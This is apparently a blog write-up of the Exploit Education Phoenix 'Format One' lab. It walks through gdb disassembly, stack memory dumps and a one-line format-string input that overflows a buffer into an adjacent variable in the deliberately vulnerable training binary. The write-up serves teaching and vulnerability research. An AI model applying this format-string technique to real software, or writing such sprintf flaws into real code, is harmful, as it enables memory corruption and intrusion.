Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup
Quick Overview
Similar to Format Zero Writeup, Format One exercise motives are smashing the stack, overwrite arbitrary memory address or variable. However, this format one challenge revolves around Format String Vulnerability
.
Disassemble
Disassembling the code will get you overall idea behind the format-one code, One can use gdb ./format-one
to start debugging it in runtime.
gdb ./format-one
- Type
disassemble main
to get the disassembled code (assembly)
0x00000000004006ed <+0>: push rbp
0x00000000004006ee <+1>: mov rbp,rsp
0x00000000004006f1 <+4>: sub rsp,0x50
0x00000000004006f5 <+8>: mov DWORD PTR [rbp-0x44],edi
0x00000000004006f8 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x00000000004006fc <+15>: mov edi,0x4007e0
0x0000000000400701 <+20>: call 0x400530 <puts@plt>
0x0000000000400706 <+25>: mov rdx,QWORD PTR [rip+0x200433] # 0x600b40 <stdin>
0x000000000040070d <+32>: lea rax,[rbp-0x40]
0x0000000000400711 <+36>: mov esi,0xf
0x0000000000400716 <+41>: mov rdi,rax
0x0000000000400719 <+44>: call 0x400520 <fgets@plt>
0x000000000040071e <+49>: test rax,rax
0x0000000000400721 <+52>: jne 0x400737 <main+74>
0x0000000000400723 <+54>: mov esi,0x40082b
0x0000000000400728 <+59>: mov edi,0x1
0x000000000040072d <+64>: mov eax,0x0
0x0000000000400732 <+69>: call 0x400540 <errx@plt>
0x0000000000400737 <+74>: mov BYTE PTR [rbp-0x31],0x0
0x000000000040073b <+78>: mov DWORD PTR [rbp-0x10],0x0
0x0000000000400742 <+85>: lea rdx,[rbp-0x40]
0x0000000000400746 <+89>: lea rax,[rbp-0x30]
0x000000000040074a <+93>: mov rsi,rdx
0x000000000040074d <+96>: mov rdi,rax
0x0000000000400750 <+99>: mov eax,0x0
0x0000000000400755 <+104>: call 0x400550 <sprintf@plt>
0x000000000040075a <+109>: mov eax,DWORD PTR [rbp-0x10]
0x000000000040075d <+112>: cmp eax,0x45764f6c
0x0000000000400762 <+117>: je 0x40077a <main+141>
0x0000000000400764 <+119>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000400767 <+122>: mov esi,eax
0x0000000000400769 <+124>: mov edi,0x400840
0x000000000040076e <+129>: mov eax,0x0
0x0000000000400773 <+134>: call 0x400510 <printf@plt>
0x0000000000400778 <+139>: jmp 0x400784 <main+151>
0x000000000040077a <+141>: mov edi,0x400878
0x000000000040077f <+146>: call 0x400530 <puts@plt>
0x0000000000400784 <+151>: mov edi,0x0
0x0000000000400789 <+156>: call 0x400560 <exit@plt>
Before taking a look at the code, if you disassembled the format-one using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- Greet with
Welcome to phoenix/format-one, brought to you by https://exploit.education
message via Puts (aka printf) method - Declares
locals
struct withchar dest[32]
andvolatile int changeme
- Utilizes
fgets
to collect user input and transfers to the buffer withbuffer
size as limit. - Assigns struct variable
locals.changeme
as0x45764f6c
- Formats
buffer
variables usingsprintf
and saves inlocals.dest
- Verifies that if
locals.changeme
variables for changes.
Memory Allocation
If you take closer look at the memory allocation, every variables declared in the program are allocated in the stack (static). The locals struct contains both char dest[32]
and int changeme
variables packed. Additionally, buffer
char array with size of 16 is allocated next to the struct locals
. Technically, you can’t basically overwrite the struct
with buffer
char array. However, things get tricky when the program starts using sprintf
function to format the buffer
char array and writes back to locals.dest
buffer.
Basically, Format String vulnerability happens because certain type of inputs ( such as %32x
) as format string modifier to sprintf
causes the function to expand and write approximately 32 bytes
into locals.dest
variable. sprintf(locals.dest, '%32x')
has special meaning within the function to expand this modifier into memory address in stack say range upto 32 bytes and then copies back to locals.dest
thus overwriting both locals.dest as well as locals.changeme
variable in memory.
State of memory before executing exploit
(gdb) x/16x $rbp-0x40
0x7fffffffe620: 0x78323325 0x45764f6c 0x0000000a 0x00000000
0x7fffffffe630: 0x00000000 0x00000000 0xffffe6b8 0x00007fff
0x7fffffffe640: 0x00000001 0x00000000 0xffffe6c8 0x00007fff
0x7fffffffe650: 0x00000000 0x00000000 0x00000000 0x00000000
State of memory after executing exploit (Overwritten by sprintf function)
(gdb) x/16x $rbp-0x40
0x7fffffffe620: 0x78323325 0x45764f6c 0x0000000a 0x00000000
0x7fffffffe630: 0x20202020 0x20202020 0x20202020 0x20202020
0x7fffffffe640: 0x20202020 0x20202020 0x66666666 0x30323665
0x7fffffffe650: 0x45764f6c 0x0000000a 0x00000000 0x00000000 # <----- 0x45764f6c
Exploit
Now, our strategy should be,
- Input
format string
as%32x\x6c\x4f\x76\x45
- Now,
sprintf
overwrites thelocals.dest
using random address from stack completely overwriting32 format string characters
and the memory address0x45764f6c
in the memory includinglocals.changeme
variable which sits next tolocals.dest
user@phoenix-amd64:$ echo -e "%32x\x6c\x4f\x76\x45" | /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!
There you go! 🎉 You’ve officially pwned
the may eventually gain code execution in upcoming exercises 🪲
Source and Reference:
- Format One Exercise: Exploit Education
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.